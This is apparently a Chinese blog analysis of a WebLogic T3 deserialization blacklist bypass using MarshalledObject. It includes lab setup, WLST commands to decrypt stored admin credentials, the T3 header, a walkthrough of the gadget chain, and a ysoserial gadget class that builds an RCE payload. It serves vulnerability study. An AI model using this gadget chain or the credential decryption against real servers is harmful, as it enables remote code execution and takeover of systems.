0x01 WebLogic T3 简介及漏洞背景
weblogic t3协议指的是weblogic的rmi使用的t3协议,在java rmi中,默认rmi使用的是jrmp协议,weblogic包含了高度优化的RMI实现。T3 这个神奇的协议使得weblogic漏洞层出不穷,正因为他必须使用java反序列化,所以在不影响正常功能的情况下,只能不断的添加黑名单。虽然该修补方式对目前已知的利用链能够立竿见影,但是对于其绕过姿势就没有任何防范能力了,本文结合最近的weblogic漏洞学习下t3协议的反序列化漏洞以及利用链的构造。
0x02 环境搭建
0x1 调试环境
利用Docker自动化搭建,在github下载搭建代码[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)
本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序
执行如下命令:
./WeblogicDockerBuild.sh
docker-compose up -d
脚本会自动开启8453调试端口,配置idea并进行连接
如果忘记登陆密码等,可以直接查看boot.properties文件,如果是加密后的字符串可以用weblogic自带的命令行解密,方法如下
# Generated by Configuration Wizard on Sat Apr 24 14:10:42 GMT 2021
username={AES}6qWaIAhpyw+EcPwy8TaM46YfhPnNkDdyg7hhCDqMvHY=
password={AES}BuECP9fjey3nHUWmuRVAuaTeYaSrXFKnTOA4aV49D90=
. $WLS_HOME/server/bin/setWLSEnv.sh
java weblogic.WLST
wls:/offline> domain="/weblogic/oracle/Domains/ExampleSilentWTDomain"
wls:/offline> service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
wls:/offline> encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
wls:/offline> print encryption.decrypt("{AES}DY2vfJ80wx72i8GUhNYFgiPsxr2ImFBrpOmUYcfMFBo=")
0x2 补丁安装
将补丁安装在/weblogic/oracle/middleware/utils/bsu/cache_dir 中
后续进入 /weblogic/oracle/middleware/utils/bsu 目录进行补丁安装,在docker中安装weblogic 补丁,需要扩展docker的内存容量,然后修改bsu.sh中的运行内存,不然的话回报各种问题。
cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=MXLE -prod_dir=/weblogic/oracle/middleware/wlserver
查看已安装补丁
0x03 漏洞分析
该漏洞为T3协议反序列化 0day 漏洞,根据描述漏洞出现在t3协议反序列化解析时,过滤不严格,导致了黑名单绕过,从而产生了漏洞。根据大佬们的提示,利用MarshalledObject类进行绕过,其原理如下:
我们从get方法中可以得知利用MarshalledObject的objBytes方法进行二次反序列化绕过weblogic的黑名单,因为在weblogic 10.3.6中必须调用FilteringObjectInputStream才能在反序列化时使用黑名单的限制。因此如果调用了MarshalledObject的get方法中的readObject则不会触发黑名单检测机制,可以使用任意反序列化payload。
0x1 T3 协议的反序列化
T3协议是weblogic实现RMI规范的专有协议,它具有特定的数据格式,我们今天不分析t3是怎么个协议,主要从t3数据包构造和反序列化部分开始。
t3的头部是固定的交互数据,分为几大部分。T3协议头、JAVA序列化数据
(1)关于T3协议头
经过反复的测试了解到发送
t3 9.2.0\nAS:255\nHL:19\n\n
字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法,并且weblogic自身也会返回相应的数据。
(2)关于JAVA序列化数据
有两种生成方式,其一将Java序列化部分的任意一个替换为恶意序列
第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
可以直接借鉴TY4er师傅在分析CVE-2020-2255的发送代码
https://raw.githubusercontent.com/Y4er/CVE-2020-2555/master/weblogic_t3.py
2. 反序列化入口
在InboundMsgAbbrev类中的read方法触发该类的readObject方法,如下图所示
0x2 补丁流程分析
抛开t3协议后, 反序列化的开始于下面的readObject的case 0函数
其中 ServerChannelInputStream 是内部类,如下图所示
因为readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以我们需要关注的是resolveClass的处理逻辑。
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String var2 = descriptor.getName();
try {
this.checkLegacyBlacklistIfNeeded(descriptor.getName());
} catch (InvalidClassException var5) {
throw var5;
}
Class c = super.resolveClass(descriptor);
if (c == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
} else {
return c;
}
}
}
上述代码的第5行正是从序列化数据中读取当前要反序列化类的名字,并在WebLogicObjectInputFilter类的isBlacklistedLegacy函数中进行黑名单匹配,一旦检测出包含就会触发异常。
这次使用的MarshalledObject类就不再之前的黑名单限制内,因此在绕过黑名单的同时造成了rce。接下来主要分析此次的主角MarshalledObject利用链的构造分析。
0x04 利用链编写
该利用链采用JDK7u21的基础利用框架,在编写payload的时候也踩了一些坑,在这里简单记录一下。因为用到了JDK7u21利用链,但是该链采用了com.sun.org.apache.xalan.internal.xsltc.trax 中的关键命令执行链TemplatesImpl,然而该类被上述的黑名单中被限制所以不能使用。下面利用MarshalledObject类构造他的兄弟链。
0x1 MarshalledObject起到了什么作用
在表面上它起到了替代TemplatesImpl的作用,那么到底是怎么个替代原理呢?
这事还要从AnnotationInvocationHandler讲起,在该类的equalsImpl方法里存在着奥秘
该方法会调用被代理对象的每个方法,这个操作就很危险了。我们在回过头来看下Templates接口中的方法
第一个方法就是newTransformer,该方法最终会调用getTransletInstance以及defineTransletClasses方法,最后在运行下面代码的380行时实例化_bytecodes中的类,触发编写好的静态代码块。
下面看MarshalledObject的操作,凑巧的是get方法也是getMemberMethods获取的第一个方法,直接就可以配合objBytes属性进行填充。
0x2 如何触发AnnotationInvocationHandler的equalsImpl方法
利用AnnotationInvocationHandler创建jdk动态代理后,如果出现了hashmap哈希碰撞,那么在hashmap中会调用AnnotationInvocationHandler的equal方法,间接的调用equalsImpl方法。
之所以是间接调用是因为在该类中实现了invoke方法,其代码如下
当代理类调用equals方法时会首先调用invoke方法,进而调用了equalsImpl方法。那么下面的问题就是如何让hash产生碰撞。
0x3 如何让hash相同
在hashmap中的put方法的475行,存在个key的equals调用。
具体分析可以参考https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/,简单归纳为
LinkedHashSet在反序列化填入key值时会触发上述代码,其逻辑是会将hash(key)和之前的key的hash进行比较。说到底就是MarshalledObject的hash和MarshalledObject代理类的hash方法的返回值进行比较。
这里利用了一个小技巧 “f5a5a608”.hashCode()为0为什么这是个小技巧呢?我们都知道MarshalledObject代理类的hashCode会触发代理类的invoke,那么之后会进入AnnotationInvocationHandler的hashCodeImpl函数,该函数逻辑如下
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
this.memberValues 其实就是之前构造函数的第二个参数HashMap,要保证memberValues只有一个,并且127 * ((String)var3.getKey()).hashCode()为0,那么只能是满足条件
map.put("f5a5a608", marshell);
0x4 添加到ysoserial
public Object getObject(final String command) throws Exception {
final Object marshell = new MarshalledObject("1");
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Serializable.class, map);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
Serializable proxy = Gadgets.createProxy(tempHandler, Serializable.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(marshell);
set.add(proxy);
byte[] asBytes = Base64.decode("serialize data");
Reflections.setFieldValue(marshell,"objBytes",asBytes);
map.put(zeroHashCodeStr, marshell); // swap in real object
return set;
}
有时间学习下关于weblogic的反序列化回显以及历史漏洞。
参考文献
https://venusense.com/new_type/aqtg/20210419/22599.html
https://mp.weixin.qq.com/s/OxeYufM-ZX_SdbV5zjWV7A
https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/
发表评论
您还未登录,请先登录。
登录